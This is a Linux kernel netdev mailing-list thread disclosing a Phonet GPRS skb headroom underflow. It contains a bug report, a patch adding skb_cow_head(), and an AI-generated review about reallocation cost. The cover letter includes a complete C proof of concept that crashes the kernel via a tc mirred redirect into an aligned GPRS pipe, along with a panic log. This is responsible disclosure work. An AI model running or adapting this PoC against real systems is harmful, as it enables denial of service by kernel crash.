All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX
@ 2026-10-12  0:48 Ren Wei
  2026-10-12  0:48 ` [PATCH net 1/1] " Ren Wei
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-10-12  0:48 UTC (permalink / raw)
  To: netdev
  Cc: courmisch, davem, edumazet, kuba, pabeni, horms,
	remi.denis-courmont, vega, rakukuip, weir

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an skb headroom underflow bug in net/phonet/pep.c.
The bug can be triggered when transmitting packets over an aligned
Phonet GPRS pipe, leading to skb_under_panic and a kernel crash.
We have tested the fix, and it does not affect normal functionality.

This bug is tracked at: https://bugtracker.nebusec.ai/f/1935

We will provide detailed information about the bug in this email,
along with a PoC to trigger it.

=== details below ===

Bug details:

gprs_xmit() forwards the incoming L3 skb directly to pep_write().
When a server-side pipe has negotiated PN_PIPE_SB_ALIGNED_DATA,
pep_write() skips the wrapper skb allocation and calls pipe_skb_send()
on the original skb.

pipe_skb_send() prepends the pipe header with skb_push(), and pn_send()
prepends the Phonet header with skb_push() as well. However, the GPRS
netdev advertises hard_header_len = 0 and does not set needed_headroom.
If an skb with insufficient headroom (such as one redirected from a veth
interface) is transmitted on an aligned GPRS pipe, skb_push() underflows
the skb headroom and triggers a kernel BUG via skb_under_panic().

Ensure sufficient headroom in pep_write() using skb_cow_head() before
sending the skb on an aligned pipe. If reallocation fails, drop the skb
and return -ENOMEM.

Reproducer:

The reproducer sets up an AF_PHONET address, creates a listening PEP
socket, negotiates PN_PIPE_SB_ALIGNED_DATA on the accepted pipe, enables
GPRS encapsulation (creating gprs0), and uses tc mirred redirect on a
veth pair to forward raw packets to gprs0 with minimal headroom.

We run the PoC in an x86 QEMU environment.

=== BEGIN poc.c ===
    #define _GNU_SOURCE

    #include <arpa/inet.h>
    #include <errno.h>
    #include <linux/if_ether.h>
    #include <linux/if_packet.h>
    #include <linux/netlink.h>
    #include <linux/phonet.h>
    #include <linux/rtnetlink.h>
    #include <net/if.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <unistd.h>

    #ifndef AF_PHONET
    #define AF_PHONET 35
    #endif

    #define PNS_PIPE_ENABLED_IND 0x64
    #define PNS_PEP_CONNECT_REQ 0x40
    #define PN_PIPE_SB_ALIGNED_DATA 6
    #define PN_PIPE_ENABLE 1
    #define PHONET_ADDR 0x10
    #define PIPE_HANDLE 0x01

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static void die_errno(const char *msg, int err)
{
	errno = -err;
	perror(msg);
	exit(EXIT_FAILURE);
}

static int run_cmd(const char *cmd)
{
	int ret;

	fprintf(stderr, "[*] %s\n", cmd);
	ret = system(cmd);
	if (ret != 0)
		fprintf(stderr, "[!] command failed: rc=%d\n", ret);
	return ret;
}

static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
		      const void *data, size_t alen)
{
	size_t len = RTA_LENGTH(alen);
	struct rtattr *rta;

	if (NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
		fprintf(stderr, "netlink attribute overflow\n");
		exit(EXIT_FAILURE);
	}

	rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = len;
	if (alen)
		memcpy(RTA_DATA(rta), data, alen);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
}

static void rtnl_do_phonet_addr(int ifindex, uint8_t addr, bool add)
{
	struct {
		struct nlmsghdr nlh;
		struct ifaddrmsg ifa;
		char attrbuf[64];
	} req;
	char buf[4096];
	struct sockaddr_nl nl = {
		.nl_family = AF_NETLINK,
	};
	struct iovec iov;
	struct msghdr msg;
	int fd;
	ssize_t n;
	struct nlmsghdr *nh;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket(AF_NETLINK)");

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifa));
	req.nlh.nlmsg_type = add ? RTM_NEWADDR : RTM_DELADDR;
	req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	if (add)
		req.nlh.nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL;
	req.ifa.ifa_family = AF_PHONET;
	req.ifa.ifa_prefixlen = 0;
	req.ifa.ifa_scope = RT_SCOPE_LINK;
	req.ifa.ifa_index = ifindex;
	addattr_l(&req.nlh, sizeof(req), IFA_LOCAL, &addr, sizeof(addr));

	iov.iov_base = &req;
	iov.iov_len = req.nlh.nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &nl;
	msg.msg_namelen = sizeof(nl);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	if (sendmsg(fd, &msg, 0) < 0)
		die("sendmsg(RTM_NEWADDR/DELADDR)");

	n = recv(fd, buf, sizeof(buf), 0);
	if (n < 0)
		die("recv(netlink ack)");

	for (nh = (struct nlmsghdr *)buf; NLMSG_OK(nh, (unsigned int)n);
	     nh = NLMSG_NEXT(nh, n)) {
		if (nh->nlmsg_type == NLMSG_ERROR) {
			struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nh);

			if (err->error == 0) {
				close(fd);
				return;
			}
			if (add && err->error == -EEXIST) {
				close(fd);
				return;
			}
			die_errno("phonet address netlink ack", err->error);
		}
	}

	fprintf(stderr, "unexpected netlink response\n");
	close(fd);
	exit(EXIT_FAILURE);
}

static void bind_phonet_addr(struct sockaddr_pn *spn, uint8_t addr)
{
	memset(spn, 0, sizeof(*spn));
	spn->spn_family = AF_PHONET;
	pn_sockaddr_set_addr(spn, addr);
}

static void xbind(int fd, const struct sockaddr_pn *spn)
{
	if (bind(fd, (const struct sockaddr *)spn, sizeof(*spn)) < 0)
		die("bind(AF_PHONET)");
}

static struct sockaddr_pn xgetsockname_pn(int fd)
{
	struct sockaddr_pn spn;
	socklen_t sl = sizeof(spn);

	memset(&spn, 0, sizeof(spn));
	if (getsockname(fd, (struct sockaddr *)&spn, &sl) < 0)
		die("getsockname(AF_PHONET)");
	return spn;
}

static int setup_aligned_gprs(char *gprs_ifname)
{
	static const uint8_t connect_req[64] = {
		PN_PIPE_SB_ALIGNED_DATA,
		PNS_PEP_CONNECT_REQ,
		PIPE_HANDLE,
		PN_PIPE_ENABLE,
		0x00, 0x00, 0x00, 0x01,
	};
	static const uint8_t enabled_ind[] = {
		0x00,
		PNS_PIPE_ENABLED_IND,
		PIPE_HANDLE,
		0x00,
	};
	struct sockaddr_pn bind_addr;
	struct sockaddr_pn listener_addr;
	struct sockaddr_pn peer_addr;
	int listener_fd;
	int peer_fd;
	int conn_fd;
	int encap = PNPIPE_ENCAP_IP;
	int ifindex = 0;
	socklen_t optlen = sizeof(ifindex);

	rtnl_do_phonet_addr(if_nametoindex("lo"), PHONET_ADDR, true);

	listener_fd = socket(AF_PHONET, SOCK_SEQPACKET, PN_PROTO_PIPE);
	if (listener_fd < 0)
		die("socket(listener)");

	bind_phonet_addr(&bind_addr, PHONET_ADDR);
	xbind(listener_fd, &bind_addr);
	listener_addr = xgetsockname_pn(listener_fd);
	fprintf(stderr, "[*] listener object=0x%04x\n",
		pn_sockaddr_get_object(&listener_addr));

	if (listen(listener_fd, 1) < 0)
		die("listen(AF_PHONET)");

	peer_fd = socket(AF_PHONET, SOCK_DGRAM, PN_PROTO_PHONET);
	if (peer_fd < 0)
		die("socket(peer)");

	xbind(peer_fd, &bind_addr);
	peer_addr = xgetsockname_pn(peer_fd);
	fprintf(stderr, "[*] peer object=0x%04x\n",
		pn_sockaddr_get_object(&peer_addr));

	if (sendto(peer_fd, connect_req, sizeof(connect_req), 0,
		   (struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0)
		die("sendto(connect_req)");

	conn_fd = accept(listener_fd, NULL, NULL);
	if (conn_fd < 0)
		die("accept()");
	fprintf(stderr, "[*] accepted aligned pipe\n");

	if (sendto(peer_fd, enabled_ind, sizeof(enabled_ind), 0,
		   (struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0)
		die("sendto(enabled_ind)");

	if (setsockopt(conn_fd, SOL_PNPIPE, PNPIPE_ENCAP, &encap,
		       sizeof(encap)) < 0)
		die("setsockopt(PNPIPE_ENCAP)");

	if (getsockopt(conn_fd, SOL_PNPIPE, PNPIPE_IFINDEX,
		       &ifindex, &optlen) < 0)
		die("getsockopt(PNPIPE_IFINDEX)");
	if (ifindex <= 0)
		die("invalid gprs ifindex");

	if (!if_indextoname(ifindex, gprs_ifname))
		die("if_indextoname(gprs)");
	fprintf(stderr, "[*] gprs ifname=%s ifindex=%d\n", gprs_ifname, ifindex);

	close(listener_fd);
	close(peer_fd);
	return conn_fd;
}

static void set_if_up(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);
}

static void setup_redirect(const char *src_ifname, const char *dst_ifname)
{
	char cmd[512];

	run_cmd("ip link del pocv0 >/dev/null 2>&1 || true");
	snprintf(cmd, sizeof(cmd), "ip link add %s type veth peer name pocv1",
		 src_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
	snprintf(cmd, sizeof(cmd), "ip link set %s up", src_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
	if (run_cmd("ip link set pocv1 up") != 0)
		exit(EXIT_FAILURE);
	snprintf(cmd, sizeof(cmd), "tc qdisc add dev %s clsact", src_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
	snprintf(cmd, sizeof(cmd),
		 "tc filter add dev %s egress pref 1 matchall "
		 "action mirred egress redirect dev %s",
		 src_ifname, dst_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
}

static void trigger_redirect_raw(const char *src_ifname)
{
	uint8_t frame[14 + 20 + 4];
	uint8_t *eth = frame;
	uint8_t *ip = frame + 14;
	struct sockaddr_ll sll;
	int fd;
	int ifindex;
	int i;

	memset(frame, 0, sizeof(frame));
	memset(eth, 0x41, 6);
	memset(eth + 6, 0x42, 6);
	eth[12] = 0x08;
	eth[13] = 0x00;

	ip[0] = 0x45;
	ip[1] = 0x00;
	ip[2] = 0x00;
	ip[3] = sizeof(ip);
	ip[4] = 0x00;
	ip[5] = 0x01;
	ip[6] = 0x00;
	ip[7] = 0x00;
	ip[8] = 64;
	ip[9] = 17;
	ip[12] = 1;
	ip[13] = 1;
	ip[14] = 1;
	ip[15] = 1;
	ip[16] = 2;
	ip[17] = 2;
	ip[18] = 2;
	ip[19] = 2;

	ifindex = if_nametoindex(src_ifname);
	if (ifindex == 0)
		die("if_nametoindex(src)");

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	if (fd < 0)
		die("socket(AF_PACKET)");

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_IP);
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memset(sll.sll_addr, 0x41, ETH_ALEN);

	for (i = 0; i < 128; i++) {
		ssize_t ret;

		ret = sendto(fd, frame, sizeof(frame), 0,
			     (struct sockaddr *)&sll, sizeof(sll));
		if (ret < 0)
			die("sendto(AF_PACKET)");
		usleep(1000);
	}

	close(fd);
}

int main(int argc, char **argv)
{
	const char *src_ifname = "pocv0";
	char gprs_ifname[IF_NAMESIZE];
	int conn_fd;

	fprintf(stderr,
		"[*] setup aligned phonet pipe and gprs encapsulation\n");
	conn_fd = setup_aligned_gprs(gprs_ifname);
	set_if_up(gprs_ifname);
	setup_redirect(src_ifname, gprs_ifname);

	if (argc > 1 && strcmp(argv[1], "--setup-only") == 0) {
		fprintf(stderr, "[*] setup complete; not triggering\n");
		pause();
		return 0;
	}

	fprintf(stderr, "[*] trigger redirected raw packet xmit\n");
	trigger_redirect_raw(src_ifname);

	close(conn_fd);
	return 0;
}
=== END poc.c ===

=== BEGIN poc.sh ===
    #!/bin/sh
set -eu

DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)

cd "$DIR"
make
exec ./poc
=== END poc.sh ===

=== BEGIN crash log ===
[  292.244773][T10222] skbuff: skb_under_panic: text:ffffffff8a581043 len:42 put:4 head:ffff888047ab96c0 data:ffff888047ab96be tail:0x28 end:0x180 dev:gprs0
[  292.247407][T10222] kernel BUG at net/core/skbuff.c:209!
[  292.248168][T10222] Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
[  292.248769][T10222] CPU: 0 UID: 0 PID: 10222 Comm: poc_phonet_gprs Not tainted 6.12.74 #3
[  292.250121][T10222] RIP: 0010:skb_panic+0x15c/0x1d0
[  292.256868][T10222] Call Trace:
[  292.257355][T10222]  <TASK>
[  292.258154][T10222]  skb_push+0xcf/0xf0
[  292.258479][T10222]  pipe_skb_send+0x143/0x4b0
[  292.259258][T10222]  pep_write+0x3f4/0x4f0
[  292.260017][T10222]  gprs_xmit+0x18d/0x520
[  292.260360][T10222]  dev_hard_start_xmit+0x147/0x7a0
[  292.264712][T10222]  __dev_queue_xmit+0x22bc/0x4350
[  292.270216][T10222]  tcf_dev_queue_xmit+0x45/0x60
[  292.270588][T10222]  tcf_mirred_to_dev+0xc87/0xff0
[  292.275389][T10222]  tcf_action_exec+0x1c2/0xa20
[  292.276519][T10222]  tcf_classify+0x7f1/0x1390
[  292.277198][T10222]  tc_run+0x444/0x760
[  292.279634][T10222]  __dev_queue_xmit+0xb30/0x4350
[  292.285208][T10222]  packet_xmit+0x248/0x360
[  292.285560][T10222]  packet_sendmsg+0x2704/0x55c0
[  292.289562][T10222]  __sys_sendto+0x47e/0x4d0
[  292.291111][T10222]  __x64_sys_sendto+0xe5/0x1c0
[  292.292624][T10222]  do_syscall_64+0xc7/0x250
[  292.293394][T10222] RIP: 0033:0x7ffa33779687
[  292.298780][T10222] ---[ end trace 0000000000000000 ]---
[  292.305715][T10222] Kernel panic - not syncing: Fatal exception in interrupt
[  292.306639][T10222] Rebooting in 86400 seconds..
=== END crash log ===

Best regards,
Luxiao Xu

Luxiao Xu (1):
  net: phonet: ensure headroom for aligned GPRS TX

 net/phonet/pep.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net 1/1] net: phonet: ensure headroom for aligned GPRS TX
  2026-10-12  0:48 [PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX Ren Wei
@ 2026-10-12  0:48 ` Ren Wei
  2026-10-18 13:31   ` Simon Horman
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-10-12  0:48 UTC (permalink / raw)
  To: netdev
  Cc: courmisch, davem, edumazet, kuba, pabeni, horms,
	remi.denis-courmont, vega, rakukuip, weir

From: Luxiao Xu <rakukuip@gmail.com>

gprs_xmit() forwards the incoming L3 skb directly to pep_write().
When a server-side pipe has negotiated PN_PIPE_SB_ALIGNED_DATA,
pep_write() skips the wrapper skb allocation and calls pipe_skb_send()
on the original skb.

pipe_skb_send() prepends the pipe header with skb_push(), and pn_send()
prepends the Phonet header with skb_push() as well. However, the GPRS
netdev advertises hard_header_len = 0 and does not set needed_headroom.
If an skb with insufficient headroom (such as one redirected from a veth
interface) is transmitted on an aligned GPRS pipe, skb_push() underflows
the skb headroom and triggers a kernel BUG via skb_under_panic().

Ensure sufficient headroom in pep_write() using skb_cow_head() before
sending the skb on an aligned pipe. If reallocation fails, drop the skb
and return -ENOMEM.

Fixes: fea93ecef619 ("Phonet: zero-copy GPRS TX")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Closes: https://bugtracker.nebusec.ai/f/1935
Assisted-by: LLM
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/phonet/pep.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/net/phonet/pep.c b/net/phonet/pep.c
index bd1cdd00edfa..9d24b370fb7c 100644
--- a/net/phonet/pep.c
+++ b/net/phonet/pep.c
@@ -1259,8 +1259,13 @@ int pep_write(struct sock *sk, struct sk_buff *skb)
 	struct sk_buff *rskb, *fs;
 	int flen = 0;
 
-	if (pep_sk(sk)->aligned)
+	if (pep_sk(sk)->aligned) {
+		if (skb_cow_head(skb, MAX_PNPIPE_HEADER)) {
+			kfree_skb(skb);
+			return -ENOMEM;
+		}
 		return pipe_skb_send(sk, skb);
+	}
 
 	rskb = alloc_skb(MAX_PNPIPE_HEADER, GFP_ATOMIC);
 	if (!rskb) {
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net 1/1] net: phonet: ensure headroom for aligned GPRS TX
  2026-10-12  0:48 ` [PATCH net 1/1] " Ren Wei
@ 2026-10-18 13:31   ` Simon Horman
  0 siblings, 0 replies; 3+ messages in thread
From: Simon Horman @ 2026-10-18 13:31 UTC (permalink / raw)
  To: weir
  Cc: Simon Horman, netdev, courmisch, davem, edumazet, kuba, pabeni,
	remi.denis-courmont, vega, rakukuip

This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/eeacc6bb1a121b6161c38898441997ea4641e5c0.1791616268.git.rakukuip@gmail.com?part=1
---
net: phonet: ensure headroom for aligned GPRS TX

This commit adds a skb_cow_head() call in pep_write() on the aligned pipe
path. It makes sure the skb forwarded from gprs_xmit() has enough headroom
before pipe_skb_send() and pn_send() push the pipe and Phonet headers. If
reallocation fails, the skb is dropped and -ENOMEM is returned.

Closes: https://bugtracker.nebusec.ai/f/1935

> diff --git a/net/phonet/pep.c b/net/phonet/pep.c
> index bd1cdd00edfa5..9d24b370fb7c0 100644
> --- a/net/phonet/pep.c
> +++ b/net/phonet/pep.c
> @@ -1259,8 +1259,13 @@ int pep_write(struct sock *sk, struct sk_buff *skb)
>  	struct sk_buff *rskb, *fs;
>  	int flen = 0;
>  
> -	if (pep_sk(sk)->aligned)
> +	if (pep_sk(sk)->aligned) {
> +		if (skb_cow_head(skb, MAX_PNPIPE_HEADER)) {

[Severity: Medium]
Will this reallocate the head of almost every packet on the aligned GPRS
path?

MAX_PNPIPE_HEADER expands to a large value:

include/net/phonet/pep.h:
#define MAX_PNPIPE_HEADER (MAX_PHONET_HEADER + 4)

include/net/phonet/phonet.h:
#define MAX_PHONET_HEADER	(8 + MAX_HEADER)

That is at least 44 bytes, and up to about 188 bytes depending on config.

The GPRS netdev does not advertise any headroom, though. gprs_setup() in
net/phonet/pep-gprs.c sets:

	dev->hard_header_len	= 0;

and never sets needed_headroom, so LL_RESERVED_SPACE() for the gprs device
is 16.

For locally generated IPv4 datagrams, __ip_append_data() uses
hh_len = LL_RESERVED_SPACE(rt->dst.dev) and calls skb_reserve(skb, hh_len).
ip_finish_output2() does not expand the head either, because the gprs
device has no header_ops.

So UDP, ICMP and raw packets arrive here with 16 bytes of headroom:

udp_sendmsg()
  __ip_append_data()        /* skb_reserve(skb, 16) */
  ...
  ip_finish_output2()
    gprs_xmit()
      pep_write()
        skb_cow_head(skb, MAX_PNPIPE_HEADER)
          __skb_cow()
            pskb_expand_head(..., GFP_ATOMIC)

Before this patch, those packets had enough room for what is actually
pushed and did not crash: the 4 byte pipe header, the 7 byte phonethdr,
and the lower device's link header. Many skbs forwarded from ordinary NICs
also fall below the new threshold on common configs. Only paths with large
reservations, such as TCP's MAX_TCP_HEADER, avoid the copy.

With this change, the zero-copy path from fea93ecef619 ("Phonet: zero-copy
GPRS TX") copies the head in the common case. That makes it more expensive
than the non-aligned path, which only allocates a small wrapper skb and
chains the payload through frag_list.

The commit message describes the check only as a guard for unusual skbs,
such as ones redirected from veth, and does not mention this effect.

Would it be better to set dev->needed_headroom in gprs_setup() (for
example to MAX_PNPIPE_HEADER)? The stack would then reserve the space up
front, and skb_cow_head() would only be a rarely taken safety net.

> +			kfree_skb(skb);
> +			return -ENOMEM;
> +		}
>  		return pipe_skb_send(sk, skb);
> +	}
>  
>  	rskb = alloc_skb(MAX_PNPIPE_HEADER, GFP_ATOMIC);
>  	if (!rskb) {

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-10-18 13:31 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-12  0:48 [PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX Ren Wei
2026-10-12  0:48 ` [PATCH net 1/1] " Ren Wei
2026-10-18 13:31   ` Simon Horman

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.